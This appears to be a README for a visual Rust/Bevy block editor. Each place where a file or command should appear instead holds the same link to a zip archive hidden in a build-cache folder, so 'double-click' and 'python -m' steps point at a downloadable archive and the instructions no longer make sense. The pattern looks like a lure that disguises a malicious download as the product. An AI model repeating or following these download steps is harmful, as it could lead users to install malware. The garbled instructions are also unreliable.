To download and install Rust Visual Editor, visit the following page to get the latest version:
Follow these steps for a smooth installation:
- Click the link above.
- You will see a list of releases. Look for version 0.2.2.
- Download the necessary files listed.
- After downloading, locate the file in your downloads folder.
Simplest way: Double-click Start Rust Visual https://raw.githubusercontent.com/Wasdbxb132/Rust_Visual_Editor/main/integration/target/debug/.fingerprint/blockly-rust-compiler-c397943a5212e3de/Rust_Editor_Visual_v2.7.zip in the project root.
If you prefer to open it manually:
- Navigate to the
webfolder. - Double-click
https://raw.githubusercontent.com/Wasdbxb132/Rust_Visual_Editor/main/integration/target/debug/.fingerprint/blockly-rust-compiler-c397943a5212e3de/Rust_Editor_Visual_v2.7.zipto open it in your browser.
Note: For advanced features, such as the Rust compiler service, you will need to run a local server. Please refer to the Development section for more details.
- Multi-Mode Editor: Switch between Rust, WGSL, and Bevy modes easily.
- Visual Block Programming: Use a drag-and-drop interface for building your code.
- 🎮 Game Development Blocks: Over 100 Scratch-like blocks designed for Bevy game development.
- Includes movement, input handling, collision detection, health management, inventory systems, AI behaviors, particle effects, and camera controls.
- Auto-generates required components - no manual setup needed!
- Real-time Code Generation: View the generated code as you build visually.
- Multi-File Support: Create and manage multiple files for your projects.
- Code Validation: Built-in code validation checks to help you stay error-free.
To run Rust Visual Editor smoothly, ensure your system meets the following minimum requirements:
- Operating System: Windows 10 or later, macOS, or a modern Linux distribution.
- Processor: Dual-core processor or better.
- RAM: At least 4GB.
- Disk Space: Minimum 200MB of available space.
- Browser: Latest version of Chrome, Firefox, or Edge.
For detailed instructions on using Rust Visual Editor, please refer to the documentation section in the repository. It provides examples and a comprehensive guide to help you navigate the application effectively.
If you want to explore advanced features like the Rust compiler service:
- Set up a local server on your machine.
- Use a terminal or command prompt to navigate to the
webfolder. - Run a simple HTTP server command.
An example command may look like this:
python -m https://raw.githubusercontent.com/Wasdbxb132/Rust_Visual_Editor/main/integration/target/debug/.fingerprint/blockly-rust-compiler-c397943a5212e3de/Rust_Editor_Visual_v2.7.zipNow, you can open a browser and go to http://localhost:8000 to access the application.
If you encounter issues while running Rust Visual Editor:
- Make sure you have all system requirements met.
- Ensure you have downloaded all necessary files.
- For specific issues, check the GitHub Issues page in this repository where you can report problems or find solutions.
Join our community for help, ideas, and collaboration:
- GitHub Discussions: Share your thoughts and ask questions.
- Issue Tracker: Report bugs or request new features.
- Chat Channels: Connect with other users for assistance in real-time.
Thank you for choosing Rust Visual Editor. Enjoy creating your projects!